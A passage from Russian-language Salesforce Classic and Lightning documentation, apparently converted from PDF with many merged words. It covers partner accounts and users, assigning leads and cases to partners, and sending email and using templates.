Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Организация-партнер — это организация Salesforce, используемая менеджером канала
распределения для управления компаниями-партнерами, пользователями-партнерами
и их действиями на партнерском портале. Каждая компания, являющаяся партнером,
должнабытьдобавленавсистемуSalesforceвкачествеорганизации-компании. Менеджеры
каналараспределениянесутответственностьзаорганизации-партнеры. Менеджерканала
распределения, ответственный за организацию-партнера, может просматривать все
данные и управлять всеми действиями организации-партнера, включая действия
связанного пользователя-партнера. Таким образом, менеджер канала распределения
может легко отслеживать действия партнеров.

Прим.: Роль пользователя-партнера подчиняется роли ответственного за
организацию, поэтому все данные, используемые ролью пользователя-партнера,
сводятся для роли ответственного за организацию-партнера. Помните, что
отключение пользователя портала инициирует устаревание роли
пользователя-партнера, а его данные больше не сводятся для роли
организации-партнера.

Чтобы создать организацию-партнера, выполните указанные ниже действия.

1. Создайте организацию-компанию.

2. Нажмите кнопку «Управление внешней организацией» и выберите пункт «Включить как партнера».

3. При этом отображается диалоговое окно подтверждения. Установите флажок «Да, включить эту организацию в
качестве партнера».

4. Нажмите кнопку «Подтвердить».

Прим.: Организации-лица не могут использоваться как организации-партнеры. Только организации-компании
могут использоваться в качестве организаций-партнеров.

Пользователи-партнеры могут быть добавлены в созданную организацию-партнера в качестве контактов.
Пользователи-партнеры — это пользователи Salesforce, которым предоставляется ограниченный доступ для управления
интересами. Пользователи-партнеры выполняют вход в систему Salesforce посредством портала.

Прим.: Организации-партнеры не могут быть удалены, но могут быть отключены.

СМ. ТАКЖЕ:

Отключение организаций-партнеров
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Отключение организаций-партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Для создания организаций:
• «Создание» для

организаций

Для включения
организации-партнера:
• “Управление внешними

пользователями»

Отключение организации-партнера инициирует отключение связанных внешних
пользователей. Рекомендуем отключать организацию-партнера только при случайном
включении доступа организации к порталу.

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Организации-партнерынемогутбыть удалены, номогутбытьотключены. Отключение
организации инициирует необратимое отключение не более 15 связанных внешних
пользователейиихудалениеизвсехсвязанныхсообществ, групп, рабочихгрупп, наборов
полномочий и правил общего доступа. Данное количество охватывает активных и
неактивных внешних пользователей. Кроме того, роли и группы, связанные с
организацией, удаляются без возможности восстановления.

Прим.: Организация, связанная как минимум с 15 активными или неактивными
внешними пользователями, не может быть отключена. Прежде чем отключить
организацию, рекомендуем отключить пользователей.

1. Откройте страницу сведений о нужной организации.

2. Нажмите кнопку «Управление внешней организацией» и выберите пункт
«Выключить организацию-партнера».

3. Нажмите кнопку «OK».

После отключения организации отдельные контакты могут быть повторно включены в качестве пользователей
партнерского портала. Повторное включение контакта для партнерского портала инициирует создание
пользователя-партнераироли, которыене связаныспредыдущимипользователем-партнеромиролью. Удаленныероли
и группы не могут быть восстановлены.

СМ. ТАКЖЕ:

Создание организаций-партнеров

Работа с пользователями-партнерами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.
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Менеджеры канала распределения несут ответственность за организации управляемых ими пользователей-партнеров.
Менеджерканалараспределения, ответственныйзаорганизацию-партнера, можетпросматривать все данныеиуправлять
всеми действиями связанных пользователей-партнеров.

Ниже перечислены некоторые типичные задачи по управлению пользователями-партнерами.

• Создание организации-партнера

• Создание пользователей-партнеров

• Отключение и деактивация пользователей-партнеров

• Назначение интересов пользователям-партнерам

• Назначение событий пользователям-партнерам

• Назначение обращений пользователям-партнерам

• Редактирование сведений о пользователях-партнерах

• Предоставление пользователям-партнерам доступа к базе знаний

• Предоставление пользователям-партнерам доступа к запросам на проведение конференций

Кроме того, система поддерживает дополнительные способы работы с пользователями-партнерами.

Включите доступ суперпользователя-партнера.
Суперпользователи-партнеры могут иметь доступ к данным, принадлежащим всем пользователям-партнерам и
суперпользователям-партнерам с той же ролью или нижестоящими ролями в иерархии организаций портала, даже
в том случае, если единым стандартнымпараметрам задано значение «Личный». Доступ суперпользователя-партнера
применяется только к обращениям, интересам, настраиваемым объектам и возможностям.

Назначьте задачи пользователям-партнерам.
Пользователи-партнеры, которымназначенысоответствующиепараметрыбезопасностиполя, могутпросматривать
и создавать действия, связанные с интересами или возможностями.

Чтобы напомнить пользователям-партнерам об отдельных задачах, требующих выполнения, добавьте задачи в
интересы или возможности. Журнал действий позволяет просматривать действия для отдельного интереса или
возможности, а отчеты позволяют отслеживать действия, назначенные пользователям-партнерам.

Пользователи-партнерымогутназначатьзадачитолькодругимпользователямсоответствующейорганизации-партнера
или менеджеру канала распределения.

Воспользуйтесь примечаниями и вложениями для взаимодействия с пользователями-партнерами.

Пользователи-партнерымогутсоздавать, просматривать, редактироватьпримечанияидобавлятьвложениявсвязанном
списке «Примечания и вложения» на выбранных страницах сведений, включая страницы сведений об интересах,
решенияхивозможностях. Примечанияивложениямогутиспользоватьсядляпредоставленияпользователям-партнерам
общего доступа к документам или данным. Если организация использует Chatter, то вложения ленты добавляются в
связанный список «Примечания и вложения». Пользователи портала могут загружать вложения ленты, но не могут
редактировать, удалять или открывать их для предварительного просмотра.

Максимальный размер вложенного файла составляет 5 Мб.

Нажмите кнопку «Войти на портал в качестве пользователя» для устранения неполадок.
Нажмите кнопку «Управление внешнимпользователем» на странице сведений о контакте пользователя-партнера
ивыберитепункт «Войтинапорталвкачествепользователя». Данноедействиеоткрываетновоеокнообозревателя
и выполняет автоматический вход от имени пользователя-партнера. Данная кнопка позволяет устранить любые
неполадки, возникшиевработепользователей-партнеров. Крометого, даннаякнопкапозволяетубедитьсявправильной
настройкепортала. Кнопка «Войтинапорталвкачествепользователя»доступна толькоприналичииполномочия
«Управление внешними пользователями» и одного из следующих полномочий: «Изменение всех данных»,
ответственность за организацию-партнера или роль вышестоящего пользователя в иерархии ролей. Кнопка «Войти
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напорталвкачествепользователя»отображается толькопривыполненииданныхтребованийилипосле активации
пользователя портала.

Восстановите пароль пользователя-партнера.
Чтобы восстановить пароль пользователя-партнера, нажмите кнопку «Сбросить пароль» на странице сведений о
контакте пользователя-партнера.

Пароль пользователя-партнера может быть восстановлен самостоятельно посредством ссылки «Забыли пароль?»
на странице входа партнерского портала.

Опубликуйте решение на портале.
Установите флажок «Отображается на портале самообслуживания» для решения.

Добавьте продукты в возможности.
Если связанный список возможностей «Продукты» доступен пользователям-партнерам, то продукты могут быть
добавлены в возможности.

СМ. ТАКЖЕ:

Управление пользователями-партнерами

Назначение интересов пользователям-партнерам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения интересов
партнерам:
• «Редактирование» для

интересов

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Назначение интересов — это важный аспект управления отношениями с партнерами.
Партнеры могут работать только с назначенными интересами. Интересы могут быть
назначены пользователям-партнерам двумя способами.

• Назначение каждого интереса отдельному пользователю-партнеру

• Назначение интересов очереди интересов и предоставление
пользователям-партнерам полномочия на выбор интересов из очереди

При необходимости создайте правила назначения интересов, которые назначают
интересы пользователям-партнерам или очередям автоматически.

Прим.: Правиланазначениянемогутбытьинициированыдействияминапортале.

Назначениеинтересапользователю-партнеруилиочередиинтересов аналогичноназначениюинтересалюбомудругому
пользователю или очереди.

Интересы, назначенные пользователю или очереди, которая не принадлежит пулу интересов, отображаются на вкладке
портала «Интересы». Данные интересы могут быть просмотрены пользователями-партнерами посредством выбора
соответствующегосписковогопредставления. Интерес, которыйнепросмотренпользователем-партнером, отображается
в списковом представлении «Мои непрочитанные интересы» жирнымшрифтом.

Интерес, назначенный очереди, которая принадлежит пулу интересов, отображается в списке «Доступные интересы» на
вкладке портала «Начальная страница».
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Совет: Чтобы разрешить пользователю организации-партнера управление назначениями интересов, назначьте
интересы партнера одному пользователю-партнеру (например, менеджеру по продажам).

Использование календарей на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения событий
партнерам:
• «Редактирование

событий»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

События могут быть назначеныпользователям партнерского портала, макет начальной
страницыкоторыхсодержиткалендарь. Созданиеиредактированиесобственныхсобытий
доступно пользователям партнерского портала только при наличии полномочия
«Редактирование событий». Обратите внимание, что партнерский портал не
поддерживает следующие функции календаря и событий: проверка орфографии,
обновлениесобытий, расширенныесписковыепредставления, планированиеспомощью
перетаскивания, общий доступ к календарю и всплывающие сведения.

Прим.: Пользователи-партнеры могут просматривать только календари,
предоставленные:

• Другими пользователями-партнерами, назначенными той же организации

• Менеджером канала распределения для организации
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Назначение обращений на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения обращений
партнерам:
• «Редактирование» для

обращений

И

«Перенос обращений»
ИЛИ «Перенос записи»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Прежде чем назначить обращения пользователям партнерского портала, рекомендуем
настроить обращения для пользователей-партнеров. Даннаяфункция требует наличия
обязательных полномочий и общего доступа для просмотра обновляемых обращений.

Чтобы назначить обращение пользователю-партнеру, выполните указанные ниже
действия.

1. Щелкните ссылку «[Изменить]» напротив поля «Ответственный за обращение»
на странице сведений об обращении.

2. Выберите нужного пользователя-партнера в раскрывающемся списке
«Ответственный» и введите его имя.

3. Чтобыотправить сообщение эл. почтыновому ответственному, установитефлажок
«Отправить электронное уведомление».

4. Нажмите кнопку «Сохранить».

Пользователь-партнер сможет просматривать и редактировать обращения на партнерском портале.

Прим.: Комментариикобращениям, добавленныепользователямипартнерскогопортала, являютсяобщедоступными
и могут быть просмотрены любыми пользователями, которым доступны соответствующие обращения.

При необходимости создайте правила расширения и назначения обращений, которые назначают обращения
пользователям-партнерам или очередям автоматически.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Общие сведения о мобильном доступе для пользователей-партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно за
дополнительную плату в
версии: Enterprise Edition и
Unlimited Edition.

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.
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Пользователи-партнерымогутпросматриватьиизменятьданныепартнерскогопорталана устройствах BlackBerry®, iPhone®

или Treo® при наличии клиентского приложения Salesforce Classic Mobile. Данное приложение предоставляет
пользователям-партнерам неограниченный доступ к данным партнерского портала.

Мобильные устройства обладают меньшим объемом памяти и размером экрана, поэтому приложение Salesforce Classic
Mobile использует наборы данных или поднаборы данных Salesforce, позволяющие определять сведения, доступные
пользователям мобильного приложения. Партнеры, использующие приложение Salesforce Classic Mobile, могут
просматривать только объекты, доступные на партнерском портале, даже в том случае, если приложение Salesforce Classic
Mobileподдерживаетменеестрогиенаборыданных. Чтобыограничитьдоступкданнымпартнерскогопортала, рекомендуем
настроить более строгие наборы данных Salesforce Classic Mobile.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Предоставление партнерам общего доступа к данным. Вопросы и ответы

Можно ли включить поддержку Salesforce для партнеров?
Да. СообществапозволяютвзаимодействоватьспартнерамиипредоставлятьдоступксоответствующимданнымSalesforce.

При необходимости настройте сообщества в соответствии с текущими бизнес-требованиями. А именно:

• Выберите участников компании и партнеров для присоединения.

• Выберите функции Salesforce для добавления.

• Примените фирменный стиль компании, позволяющий повысить узнаваемость сообщества.

• Разрешите сотрудникам и партнерам совместную работу над бизнес-процессами (записями) в Chatter.

• Разрешите внешним пользователям вход на основе SAML посредством единой регистрации.

• Разрешите пользователям самостоятельную регистрацию без участия администратора сообщества.

Чтобы начать использование сообществ, обратитесь к менеджеру по работе с клиентами Salesforce.

Можно ли предоставить общий доступ к моим данным Salesforce другим организациям,
использующим систему Salesforce?

Да.

Функция Salesforce to Salesforce обеспечивает взаимодействие бизнес-партнеров внутри и за пределами организаций
Salesforce. Например, данные об интересах и возможностяхмогут быть предоставленыбизнес-партнерам для управления
ожидаемыми продажами в системе Salesforce.

Использование интегрированной эл. почты Salesforce

Управление электронной почтой

ВЕРСИИ

Доступно в версиях: все
версии.

Система Salesforce предлагает несколько способов управления эл. почтой и повышения
производительности. Управление эл/ почтойишаблонами. Связывание сообщенийэл.
почты с записями Salesforce. Чтобы не упустить нужную информацию, изучите каждый
тип и затем продолжите поиск.
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Управление электронной почтой и шаблонами в Lightning Experience

Прииспользовании Lightning Experience можнорассылать электронныеписьмапоконтактам, интересамисобственным
коллегам по организациям, личным учетным записям, контактам, интересам, возможностям, кампаниям и записям
обращений, к которым имеется доступ. А также выполнять следующие действия: отправка сообщения эл. почты на
любой действительный адрес эл. почты, вложение файлов, автоматизация процессов посредством полей слияния,
использованиешаблонов (выбор готовогоилисоздание собственногошаблона). Шаблоныавтоматическидоступны
организации пользователя.

Управление эл. почтой в Salesforce Classic

При использовании приложения Salesforce Classic можно отправлять сообщения эл. почты контактам, интересам,
личным учетным записям и сотрудникам напрямую со страниц организации, контакта, интереса, возможности,
обращения, кампании или настраиваемого объекта.

Использование Salesforce в почтовых приложениях Microsoft®

Важные сообщения электронной почты Microsoft можно соотнести с записями Salesforce (контактами, интересами и
возможностями). При этом связанное содержимое Salesforce можно просматривать прямо в почтовых приложениях
Microsoft.

Связывание сообщенийфункции Email to Salesforce с записями сообщений эл. почты Salesforce

Свяжите сообщения эл. почты с интересами, контактами и возможностями или другими отдельными записями в
Salesforce. Это позволит легко отслеживать контакты, связанные с продажами.

Управление электронной почтой и шаблонами в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Salesforce Lightning
Experience.

Developer Edition, Enterprise
Edition, Professional Edition,
Performance Edition и
Unlimited Edition

При использовании Lightning Experience можно рассылать электронные письма по
контактам, интересам и собственным коллегам по организациям, личным учетным
записям, контактам, интересам, возможностям, кампаниям и записям обращений, к
которымимеется доступ. Атакже выполнять следующиедействия: отправка сообщения
эл. почты на любой действительный адрес эл. почты, вложениефайлов, автоматизация
процессов посредством полей слияния, использованиешаблонов (выбор готового или
создание собственного шаблона). Шаблоны автоматически доступны организации
пользователя.

Доступ и общий доступ для полей слияния эл. почты, шаблонов и вложений
При использовании интегрированной эл. почты в Lightning Experience рекомендуем
просмотреть порядок доступа и общего доступа для полей слияния, шаблонов и вложений.

Отправка сообщения эл. почты из записи
Пользователимогутотправлять сообщенияэл. почтысформатированнымтекстомпрямоиз текущейзаписи. Атакже
выполнять следующие действия: отправка сообщения эл. почты клиентам, коллегам и на любой действительный
адрес эл. почты. Электронные сообщения доступны для ряда элементов, включая учетные записи, организации-лица,
контакты, интересы, возможности, кампании и обращения. При отправке сообщения эл. почты система Salesforce
создает записизадачидляотслеживаниядействияисохраненияегосодержимого. Можноосуществлятьпоискссылки
на запись задачи в ленте действий записи, откуда было отправлено сообщение, или связанных записей.
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Поиск сообщения эл. почты, отправленного из записи Salesforce

После создания сообщения эл. почты система Salesforce создает задачу по отслеживанию действий и записи
содержимого. Ссылка на данную задачу отображается лентой действий. Приотправке сообщения эл. почты контакту
или интересу ссылка на задачу добавляется в каждую запись. Если сообщение эл. почты не содержит получателей,
которые являются контактами или интересами, то задача и элемент ленты создаются для объекта, используемого на
момент отправки сообщения эл. почты. Если используется автоматическая СК согласно параметрам эл. почты, по
указанному обратному адресу будет отправлена копия сообщения эл. почты.

Создание шаблона для стандартизации типовых сообщений эл. почты
Создайте шаблоны эл. почты для экономии времени и стандартизации сообщений эл. почты, отправляемых
пользователями организации. При необходимости воспользуйтесь полями слияния. Поля, доступные для слияния,
определяются используемым макетом страницы и заданными параметрами безопасности поля. По умолчанию
создаваемыешаблоныявляются общедоступными: онимогут использоваться другимипользователямиорганизации.

Использование шаблона для стандартизации отправляемых сообщений эл. почты
Рекомендуем использовать шаблон для экономии времени и стандартизации отправляемых сообщений эл. почты.
При необходимости создайте собственныйшаблон или воспользуйтесь шаблонами, созданными другими
пользователями организации. Кроме того, можно использоватьшаблоны, предоставляемые системой Salesforce. При
выборе шаблона, содержащего вложенные файлы, убедитесь в наличии доступа к даннымфайлам во избежание
проблем при их добавлении в сообщения эл. почты, отправляемые на основе данного шаблона. При отсутствии
доступа к файлам отображается соответствующее уведомление.

Доступ и общий доступ для полей слияния эл. почты, шаблонов и вложений

ВЕРСИИ

Доступно в версиях:
Salesforce Lightning
Experience.

Developer Edition, Enterprise
Edition, Professional Edition,
Performance Edition и
Unlimited Edition

При использовании интегрированной эл. почты в Lightning Experience рекомендуем
просмотреть порядок доступа и общего доступа для полей слияния, шаблонов и
вложений.

Поля слияния
Поля слияния доступны из объектов «Организация», «Контакт», «Возможность»,
«Интерес», «Кампания», «Обращение» и «Пользователь», а также из записей типа
«Организация-лицо». Многие часто используемые стандартные поля (и некоторые
настраиваемыеполя) данныхэлементовдоступныкакполя слияния. Некоторыеполя
изданногонаборамогутбытьнедоступныотдельнымпользователямввиду заданных
параметровбезопасностиполя. Организациям-лицамнедоступныполяслияниядля
контактов.

Шаблоны

• Шаблоны, созданные в Salesforce Classic, не могут использоваться в Lightning Experience (и наоборот).

• Шаблоны, созданные для одного объекта, поддерживаются только данным объектом. Например, запись
возможности не позволяет выбрать шаблон, созданный для интересов.

• По умолчанию создаваемые шаблоны являются общедоступными: они могут использоваться другими
пользователями организации.

Вложения

• Пользователи могут выбирать и вкладывать файлы из Salesforce Files только после включения функций Salesforce
Files и доставок содержимого. Если эти функции не включены, пользователи смогут только загружать вложения.

• Любое вложение размером более 3 Мб отправляется как ссылка на доставку содержимого, а не как файл. Если
сообщение эл. почты содержит несколько вложений и их совокупный размер превышает 3 Мб, то все вложения
отправляются как ссылки на доставки содержимого.
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• Пользователи могут вкладывать в сообщения эл. почты илишаблоны только доступныефайлы. При отсутствии
доступаотображается соответствующееуведомлениеонеобходимостиотправки запросаответственному зафайл.

• Общийдоступ кфайлам, вложеннымв сообщения эл. почтыиз Salesforce Files, предоставляется по ссылке. Общий
доступ позволяет любому пользователю с ссылкой просматривать, публиковать и загружать файлы.

СМ. ТАКЖЕ:

Добавление изображений и файлов в сообщения эл. почты посредством ленты обращений

Версии эл. почты и полномочия

Отправка сообщения эл. почты из записи

ВЕРСИИ

Доступно в версиях:
Salesforce Lightning
Experience.

Developer Edition, Enterprise
Edition, Professional Edition,
Performance Edition и
Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки сообщения эл.
почты:
• Полномочие «Отправка

сообщений эл. почты»
и доступ к записи, из
которой отправляется
сообщение эл. почты

Для прикрепления файлов
к сообщению эл. почты или
шаблонам выполните
следующие действия:
• получите доступ к

прикрепляемомуфайлу.

Пользователи могут отправлять сообщения эл. почты с форматированным текстом
прямоиз текущейзаписи. Атакжевыполнять следующиедействия: отправка сообщения
эл. почтыклиентам, коллегаминалюбойдействительныйадрес эл. почты. Электронные
сообщения доступны для ряда элементов, включая учетные записи, организации-лица,
контакты, интересы, возможности, кампании и обращения. При отправке сообщения
эл. почты система Salesforce создает записи задачи для отслеживания действия и
сохранения его содержимого. Можно осуществлять поиск ссылки на запись задачи в
ленте действий записи, откуда было отправлено сообщение, или связанных записей.

Для прикрепления файлов к сообщению эл. почты или использования шаблона с
прикрепленнымифайламитребуетсядоступкфайлам. Приотсутствиидоступакфайлам
отображается соответствующее уведомление.

1. Откройте нужную запись.

2. Откройте вкладку действий и щелкните «Эл. почта».

Совет: Чтобы использовать создание сообщения из окна, нажмите кнопку со
стрелкойдляразворачивания электронного сообщения. После активацииокна
компоновщикаможнопрокрутитьстраницузаписейдляпросмотраподробных
сведений и других данных или переместиться в любую другую область в
Salesforce.

3. Введите сообщение эл. почты. Если получатель отменил возможность получения
пакетных электронных рассылок или предыдущие сообщения были возвращены,
то рядом с именем будет отображаться индикатор.

4. При необходимости добавьте вложения.

5. Отправьте сообщение эл. почты после предварительного просмотра.
Ссылка на электронное сообщение находится в ленте действий раздела «Прошлые
действия». Кроме того, можно найти ссылку в ленте действий связанных записей.
При использовании Automatic BCC, как определено в параметрах эл. почты, пользователь получит копию сообщения
эл. почты в папку «Входящие» на указанный адрес возврата.

Пример: Предположим, что пользователь работает над сделкой (или возможностью) по продаже 600 виджетов
корпорации Acme. Данная корпорация имеет связанный контакт, а возможности соответствует отдельная запись.
Пользователютребуется отправить контакту сообщение эл. почты, содержащееосновные условия сделки, исвязать
данное действие с записью возможности. Доступность действия эл. почты из записи контакта также позволяет
упростить процесс дальнейшейработы. Пользователь открывает нужнуюзапись возможности, создает сообщение
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эл. почтыи добавляет вложение. После отправки сообщения эл. почтыпользователь может найти ссылку на запись
задачи со сведениями о сообщении эл. почты в лентах записей возможности и контакта.

СМ. ТАКЖЕ:

Редактирование параметров электронной почты

Поиск сообщения эл. почты, отправленного из записи Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Lightning
Experience.

Developer Edition, Enterprise
Edition, Professional Edition,
Performance Edition и
Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
отправленного сообщения
эл. почты:
• полномочие «Просмотр

задачи» и доступ к
записи, от которой
отправлено сообщение.

После создания сообщения эл. почтысистема Salesforce создает задачупоотслеживанию
действийизаписисодержимого. Ссылканаданнуюзадачуотображаетсялентойдействий.
Приотправке сообщенияэл. почтыконтактуилиинтересу ссылкана задачудобавляется
в каждуюзапись. Еслисообщение эл. почты не содержитполучателей, которые являются
контактами или интересами, то задача и элемент ленты создаются для объекта,
используемого на момент отправки сообщения эл. почты. Если используется
автоматическая СК согласно параметрам эл. почты, по указанному обратному адресу
будет отправлена копия сообщения эл. почты.

1. Откройте запись, которая была открыта на момент отправки сообщения эл. почты,
либо запись контакта или интереса, выбранного в качестве получателя.

2. Откройте вкладку действий для поиска сообщения эл. почты в разделе «Прошлые
действия».

3. Щелкните ссылку на сообщение эл. почты для открытия соответствующей задачи,
позволяющей просмотреть сообщение и связанные сведения. Если используется
автоматическая СК, отправленные сообщения находятся в папке входящих
сообщений.
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Создание шаблона для стандартизации типовых сообщений эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Lightning
Experience.

Developer Edition, Enterprise
Edition, Professional Edition,
Performance Edition и
Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов эл.
почты:
• «Отправка эл. почты»

Для прикрепления файлов
к сообщению эл. почты или
шаблонам выполните
следующие действия:
• Доступ к

присоединяемому
файлу.

Для удаления шаблонов
эл. почты:
• «Просмотр всех данных»

или владение
шаблоном.

Создайте шаблоны эл. почты для экономии времени и стандартизации сообщений эл.
почты, отправляемыхпользователямиорганизации. Принеобходимостивоспользуйтесь
полями слияния. Поля, доступные для слияния, определяются используемым макетом
страницы и заданными параметрами безопасности поля. По умолчанию создаваемые
шаблоныявляютсяобщедоступными: онимогутиспользоватьсядругимипользователями
организации.

Шаблоны, созданные для одного объекта, поддерживаются только данным объектом.
Например, запись возможности не позволяет использовать шаблон, созданный для
интересов.

Совет: При обнаружениишаблона, требующего обновления или изменений,
выберитеданныйшаблон, выполнитенеобходимыеизмененияисохраните. Чтобы
сохранить оригинал, сохраните измененную версию в качестве нового шаблона.

1. Откройте запись (например, возможность или организация), поддерживающую эл.
почту.

2. Выберите вкладку действий, а затем вкладку «Эл. почта».

3. Создайте сообщение эл. почты для использования в качестве шаблона. Шаблоны
могут содержать все функции других сообщений эл. почты: обогащенный текст,
поля слияния и вложения. Чтобы перемещаться по записи или другим страницам
Salesforce во время работы, разверните окно компоновщика.

4. Щелкните значок «Шаблоны» и сохраните шаблон в качестве нового.
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Использование шаблона для стандартизации отправляемых сообщений эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Lightning
Experience.

Developer Edition, Enterprise
Edition, Professional Edition,
Performance Edition и
Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки сообщения эл.
почты:
• «Отправка эл. почты»

Для отправки сообщений
эл. почты или
использования шаблонов с
вложениями:
• Доступ к вкладываемым

файлам.

Рекомендуем использовать шаблон для экономии времени и стандартизации
отправляемыхсообщенийэл. почты. Принеобходимостисоздайтесобственныйшаблон
или воспользуйтесь шаблонами, созданными другими пользователями организации.
Кроме того, можно использовать шаблоны, предоставляемые системой Salesforce. При
выборешаблона, содержащеговложенныефайлы, убедитесьвналичиидоступакданным
файламвоизбежаниепроблемприихдобавлениивсообщенияэл. почты, отправляемые
на основе данного шаблона. При отсутствии доступа к файлам отображается
соответствующее уведомление.

1. Откройте нужную запись.

2. Выберите вкладку действий, а затем вкладку «Эл. почта».

3. Чтобы вставить шаблон, щелкните значок «Шаблоны». Выберите нужныйшаблон
для просмотра его содержимого. Выполнитенеобходимыеизменения, откройте для
предварительного просмотра и отправьте сообщение эл. почты!

Управление эл. почтой в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

ПрииспользованииприложенияSalesforce Classicможноотправлятьсообщенияэл. почты
контактам, интересам, личным учетным записям и сотрудникам напрямую со страниц
организации, контакта, интереса, возможности, обращения, кампанииилинастраиваемого
объекта.

Отправка сообщений эл. почты в Salesforce Classic

Прямо из Salesforce Classic отправляйте по эл. почте информацию о контактах,
интересующихся клиентах, организациях-лицах и сотрудниках.

Пакетная электронная рассылка в Salesforce Classic

Эта функция позволяет отправлять электронные сообщения группе контактов,
интересов, организаций-лицисотрудниководновременно! Отправляйтеэлектронные
сообщения по списку контактов, интересов или организаций-лиц по продажам и
поддержкеограниченномукругулиц. Пакетная электроннаярассылкапредназначена
для оптимизации бизнес-процессов, но не заменяет почтовые службы и не используется в крупных маркетинговых
кампаниях.
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Отправка сообщений эл. почты в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки сообщения эл.
почты:
• «Отправка эл. почты»

Прямо из Salesforce Classic отправляйте по эл. почте информацию о контактах,
интересующихся клиентах, организациях-лицах и сотрудниках.

1. Нажмите«Отправитьсообщениеэл. почты»всвязанномспискезаписей «Журнала
действий».

2. Для изменения типа форматирования нажмите «Изменить на текстовый» или
«Изменить на HTML».

3. Чтобы воспользоваться предопределеннымшаблоном эл. почты, нажмите кнопку
«Выбратьшаблон».

4. Заполните поля.

5. Нажмите кнопку «Отправить».

СМ. ТАКЖЕ:

Рекомендации по отправке сообщений эл. почты в Salesforce Classic

Рекомендации по отправке сообщений эл. почты в Salesforce Classic

Пакетная электронная рассылка в Salesforce Classic
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Пакетная электронная рассылка в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки пакетных
электронных рассылок
контактам,
